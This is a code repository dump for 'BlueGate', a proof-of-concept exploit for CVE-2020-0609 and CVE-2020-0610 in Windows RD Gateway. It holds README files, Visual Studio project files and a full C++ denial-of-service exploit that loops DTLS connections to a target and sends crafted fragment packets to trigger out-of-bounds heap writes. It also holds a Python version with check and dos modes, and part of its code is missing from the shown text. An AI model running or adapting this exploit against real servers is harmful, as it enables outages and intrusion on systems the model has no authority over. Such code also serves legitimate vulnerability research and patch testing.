├── old ├── Release │ └── BlueGate.exe ├── BlueGate │ ├── BlueGate.vcxproj.user │ ├── BlueGate.vcxproj.filters │ ├── BlueGate.h │ ├── BlueGate.cpp │ └── BlueGate.vcxproj ├── BlueGate.sln └── README.md ├── README.md └── BlueGate.py /old/Release/BlueGate.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/BlueGate/HEAD/old/Release/BlueGate.exe -------------------------------------------------------------------------------- /old/BlueGate/BlueGate.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /old/BlueGate/BlueGate.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Header Files 25 | 26 | 27 | -------------------------------------------------------------------------------- /old/BlueGate/BlueGate.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | #define PKT_TYPE_CONNECT_REQ 1 7 | #define PKT_TYPE_CONNECT_RESP 2 8 | #define PKT_TYPE_PAYLOAD 3 9 | #define PKT_TYPE_DISCONNECT 4 10 | #define PKT_TYPE_CONNECT_REQ_FRAGMENT 5 11 | 12 | struct DTLSParams { 13 | SSL_CTX* ctx; 14 | SSL* ssl; 15 | BIO* bio; 16 | }; 17 | 18 | struct UDP_PACKET_HEADER { 19 | USHORT pktID; 20 | USHORT pktLen; 21 | }; 22 | 23 | struct AASYNDATA { 24 | USHORT uUpStreamMtu; 25 | USHORT uDownStreamMtu; 26 | DWORD fLossy; 27 | DWORD snSendISN; 28 | }; 29 | 30 | struct AASYNDATARESP { 31 | USHORT uUpStreamMtu; 32 | USHORT uDownStreamMtu; 33 | DWORD snRecvISN; 34 | }; 35 | 36 | struct CONNECT_PKT { 37 | UDP_PACKET_HEADER hdr; 38 | USHORT usPortNumber; 39 | USHORT cbAuthnCookieLen; 40 | AASYNDATA SynData; 41 | }; 42 | 43 | struct CONNECT_PKT_RESP { 44 | UDP_PACKET_HEADER hdr; 45 | AASYNDATARESP SynResponse; 46 | DWORD64 result; 47 | }; 48 | 49 | struct CONNECT_PKT_FRAGMENT { 50 | UDP_PACKET_HEADER hdr; // 4 bytes 51 | USHORT usFragmentID; // 2 bytes 52 | USHORT usNoOfFragments; // 2 bytes 53 | USHORT cbFragmentLength; // 2 bytes 54 | BYTE fragment[1000]; // 250 bytes 55 | }; -------------------------------------------------------------------------------- /old/BlueGate.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29201.188 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BlueGate", "BlueGate\BlueGate.vcxproj", "{9178613D-52C7-4876-BBAD-F93C3784D79C}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {9178613D-52C7-4876-BBAD-F93C3784D79C}.Debug|x64.ActiveCfg = Debug|x64 17 | {9178613D-52C7-4876-BBAD-F93C3784D79C}.Debug|x64.Build.0 = Debug|x64 18 | {9178613D-52C7-4876-BBAD-F93C3784D79C}.Debug|x86.ActiveCfg = Debug|Win32 19 | {9178613D-52C7-4876-BBAD-F93C3784D79C}.Debug|x86.Build.0 = Debug|Win32 20 | {9178613D-52C7-4876-BBAD-F93C3784D79C}.Release|x64.ActiveCfg = Release|x64 21 | {9178613D-52C7-4876-BBAD-F93C3784D79C}.Release|x64.Build.0 = Release|x64 22 | {9178613D-52C7-4876-BBAD-F93C3784D79C}.Release|x86.ActiveCfg = Release|Win32 23 | {9178613D-52C7-4876-BBAD-F93C3784D79C}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {D97BA022-3382-44A0-BD63-569535F8193A} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /old/README.md: -------------------------------------------------------------------------------- 1 | # BlueGate 2 | Proof of Concept (Denial of Service) for CVE-2020-0609 and CVE-2020-0610. 3 | 4 | These vulnerabilities allows an unauthenticated attacker to gain remote code execution with highest privileges via RD Gateway for RDP. 5 | 6 | Please use for research and educational purpose only. 7 | 8 | ## Usage 9 | You must have the OpenSSL libraries and headers installed. The default location in the project settings is `C:\Program Files\OpenSSL-Win64`. If you don't have Visual Studio, you should make some minor changes in datatypes and socket initialization. 10 | 11 | ## Vulnerability 12 | The vulnerabilities allows an unauthenticated attacker to write forward out-of-bound in the heap, by specifying an unchecked and arbitrary index parameter `(0x00 - 0xFFFF)`. The data to write is also arbitrary with a length up to 1000 bytes at a time and a maximum of 4096 during one session. 13 | 14 | If you would like to read more about the vulnerabilities, check [this](https://www.kryptoslogic.com/blog/2020/01/rdp-to-rce-when-fragmentation-goes-wrong/) or read my latest tweets on [Twitter](https://twitter.com/ollypwn) with a PoC video as well. 15 | 16 | ## What is RD Gateway? 17 | RD Gateway acts as a proxy for RDP; i.e. between some internal servers and the internet, so you don't have to expose RDP directly to the internet. Inside `Release` you will find an already compiled executable. Note that as soon as the executable is running, it will connect to the server and start sending malicious packets, **so be careful**. 18 | 19 | .\BlueGate.exe 20 | 21 | ## Why BlueGate? 22 | 23 | That was just the working title, and I couldn't come up with a better one at this stage. 24 | 25 | ## Todo: 26 | - Vulnerability scanner/checker 27 | - Python implementation -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # BlueGate 3 | 4 | Proof of Concept (Denial of Service + scanner) for CVE-2020-0609 and CVE-2020-0610. 5 | 6 | 7 | 8 | These vulnerabilities allows an unauthenticated attacker to gain remote code execution with highest privileges via RD Gateway for RDP. 9 | 10 | 11 | 12 | Please use for research and educational purpose only. 13 | 14 | 15 | 16 | ## Usage 17 | Make sure you have [pyOpenSSL](https://www.pyopenssl.org/en/stable/) installed for python3. 18 | 19 | usage: BlueGate.py [-h] -M {check,dos} [-P PORT] host 20 | 21 | positional arguments: 22 | host IP address of host 23 | 24 | optional arguments: 25 | -h, --help show this help message and exit 26 | -M {check,dos}, --mode {check,dos} 27 | Mode 28 | -P PORT, --port PORT UDP port of RDG, default: 3391 29 | 30 | 31 | 32 | ## Vulnerability 33 | 34 | The vulnerabilities allows an unauthenticated attacker to write forward out-of-bound in the heap, by specifying an unchecked and arbitrary index parameter `(0x00 - 0xFFFF)`. The data to write is also arbitrary with a length up to 1000 bytes at a time and a maximum of 4096 during one session. 35 | 36 | 37 | 38 | If you would like to read more about the vulnerabilities, check [this](https://www.kryptoslogic.com/blog/2020/01/rdp-to-rce-when-fragmentation-goes-wrong/) or read my latest tweets on [Twitter](https://twitter.com/ollypwn) with a PoC video as well. 39 | 40 | 41 | 42 | ## What is RD Gateway? 43 | 44 | RD Gateway acts as a proxy for RDP; i.e. between some internal servers and the internet, so you don't have to expose RDP directly to the internet. 45 | 46 | ## Why BlueGate? 47 | 48 | 49 | 50 | That was just the working title, and I couldn't come up with a better one at this stage. 51 | 52 | 53 | 54 | ## Todo: 55 | 56 | - ~~Vulnerability scanner/checker~~ **DONE** 57 | 58 | - ~~Python implementation~~ **DONE** 59 | 60 | -------------------------------------------------------------------------------- /old/BlueGate/BlueGate.cpp: -------------------------------------------------------------------------------- 1 | #include "BlueGate.h" 2 | 3 | void error(const char* msg) 4 | { 5 | printf("ERROR: %s\n", msg); 6 | exit(EXIT_FAILURE); 7 | } 8 | 9 | void SOCKInit() 10 | { 11 | WSADATA wsaData; 12 | int res; 13 | 14 | res = WSAStartup(MAKEWORD(2, 2), &wsaData); 15 | 16 | if (res != 0) 17 | error("WSAStartup failed"); 18 | } 19 | 20 | void DTLSInit() 21 | { 22 | SSL_library_init(); 23 | SSL_load_error_strings(); 24 | ERR_load_BIO_strings(); 25 | OpenSSL_add_all_algorithms(); 26 | } 27 | 28 | int OpenUDPConnection(const char* hostname, int port) 29 | { 30 | int sockfd; 31 | sockaddr_in addr; 32 | 33 | sockfd = socket(AF_INET, SOCK_DGRAM, 0); 34 | 35 | if (sockfd < 0) 36 | error("Failed to open socket"); 37 | 38 | addr.sin_family = AF_INET; 39 | addr.sin_port = htons(port); 40 | 41 | inet_pton(AF_INET, hostname, &(addr.sin_addr)); 42 | 43 | if (connect(sockfd, (struct sockaddr*) & addr, sizeof(addr)) != 0) 44 | { 45 | closesocket(sockfd); 46 | error("Failed to connect socket"); 47 | } 48 | 49 | return sockfd; 50 | } 51 | 52 | SSL* DTLSConnection(const char* hostname) 53 | { 54 | int sockfd; 55 | int result; 56 | DTLSParams client; 57 | 58 | sockfd = OpenUDPConnection(hostname, 3391); 59 | 60 | client.ctx = SSL_CTX_new(DTLS_client_method()); 61 | client.bio = BIO_new_ssl_connect(client.ctx); 62 | 63 | BIO_set_conn_hostname(client.bio, hostname); 64 | BIO_get_ssl(client.bio, &(client.ssl)); 65 | 66 | SSL_set_connect_state(client.ssl); 67 | SSL_set_mode(client.ssl, SSL_MODE_AUTO_RETRY); 68 | 69 | SSL_set_fd(client.ssl, sockfd); 70 | 71 | if (SSL_connect(client.ssl) != 1) { 72 | return NULL; 73 | } 74 | 75 | return client.ssl; 76 | } 77 | 78 | int send_dos_packet(SSL* ssl, int id) { 79 | CONNECT_PKT_FRAGMENT packet; 80 | 81 | packet.hdr.pktID = PKT_TYPE_CONNECT_REQ_FRAGMENT; 82 | packet.hdr.pktLen = sizeof(CONNECT_PKT_FRAGMENT) - sizeof(UDP_PACKET_HEADER); 83 | packet.usFragmentID = id; 84 | packet.usNoOfFragments = id; 85 | packet.cbFragmentLength = 1000; 86 | memset(packet.fragment, 0x41, 1000); 87 | 88 | char pkt[sizeof(packet)]; 89 | memcpy(&pkt, &packet, sizeof(packet)); 90 | 91 | return SSL_write(ssl, pkt, sizeof(pkt)); 92 | } 93 | 94 | int main(int argc, char* argv[]) 95 | { 96 | 97 | SSL* ssl; 98 | int i = 0; 99 | char* hostname; 100 | 101 | if (argc != 2) { 102 | printf("Usage: %s \n", argv[0]); 103 | return 0; 104 | } 105 | 106 | hostname = argv[1]; 107 | 108 | SOCKInit(); 109 | DTLSInit(); 110 | 111 | while (i++ > -1) { 112 | ssl = DTLSConnection(hostname); 113 | 114 | if (ssl == NULL) { 115 | break; 116 | } 117 | 118 | for (int n = 0; n < 4; n++) { 119 | send_dos_packet(ssl, i+n); 120 | printf("Sending packet [%u]\n", i + n); 121 | } 122 | 123 | i++; 124 | } 125 | 126 | 127 | return 0; 128 | } -------------------------------------------------------------------------------- /BlueGate.py: -------------------------------------------------------------------------------- 1 | #!/bin/env python3 2 | from cryptography.hazmat.bindings.openssl.binding import Binding 3 | from OpenSSL import SSL 4 | import argparse 5 | import os 6 | import select 7 | import signal 8 | import socket 9 | import struct 10 | import sys 11 | 12 | TIMEOUT = 3 13 | 14 | def init_dtls(): 15 | binding = Binding() 16 | binding.init_static_locks() 17 | SSL.Context._methods[0]= getattr(binding.lib, "DTLSv1_client_method") 18 | 19 | def log_info(s): 20 | print(f"\033[96m[*] {s}\033[0m") 21 | 22 | def log_success(s): 23 | print(f"\033[92m[+] {s}\033[0m") 24 | 25 | def log_error(s): 26 | print(f"\033[91m[-] {s}\033[0m") 27 | 28 | class Packet: 29 | def __init__(self, fragment_id = 0, no_of_fragments = 1, fragment_length = 0, fragment = b""): 30 | self.fragment_id = fragment_id 31 | self.no_of_fragments = no_of_fragments 32 | self.fragment_length = fragment_length 33 | self.fragment = fragment 34 | self.pkt_ID = 5 35 | self.pkt_Len = 0 36 | 37 | def update_pkt_Len(self): 38 | self.pkt_Len = len(self.fragment) + 6 39 | 40 | def __bytes__(self): 41 | self.update_pkt_Len() 42 | 43 | buf = b"" 44 | buf += struct.pack(" -1: 143 | connection = Connection(args.host, args.port) 144 | for n in range(4): 145 | connection.send_dos_packet(i+n) 146 | i += 1 -------------------------------------------------------------------------------- /old/BlueGate/BlueGate.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {9178613D-52C7-4876-BBAD-F93C3784D79C} 24 | Win32Proj 25 | BlueGate 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | 88 | 89 | Level3 90 | Disabled 91 | true 92 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 93 | true 94 | 95 | 96 | Console 97 | true 98 | 99 | 100 | 101 | 102 | 103 | 104 | Level3 105 | Disabled 106 | true 107 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 108 | true 109 | C:\Program Files\OpenSSL-Win64\include;%(AdditionalIncludeDirectories) 110 | 111 | 112 | Console 113 | true 114 | C:\Program Files\OpenSSL-Win64\lib;%(AdditionalLibraryDirectories) 115 | kernel32.lib;ws2_32.lib;crypt32.lib;libcrypto.lib;libssl.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) 116 | 117 | 118 | 119 | 120 | 121 | 122 | Level3 123 | MaxSpeed 124 | true 125 | true 126 | true 127 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 128 | true 129 | 130 | 131 | Console 132 | true 133 | true 134 | true 135 | 136 | 137 | 138 | 139 | 140 | 141 | Level3 142 | MaxSpeed 143 | true 144 | true 145 | true 146 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 147 | true 148 | C:\Program Files\OpenSSL-Win64\include;%(AdditionalIncludeDirectories) 149 | 150 | 151 | Console 152 | true 153 | true 154 | true 155 | C:\Program Files\OpenSSL-Win64\lib;%(AdditionalLibraryDirectories) 156 | kernel32.lib;ws2_32.lib;crypt32.lib;libcrypto.lib;libssl.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | --------------------------------------------------------------------------------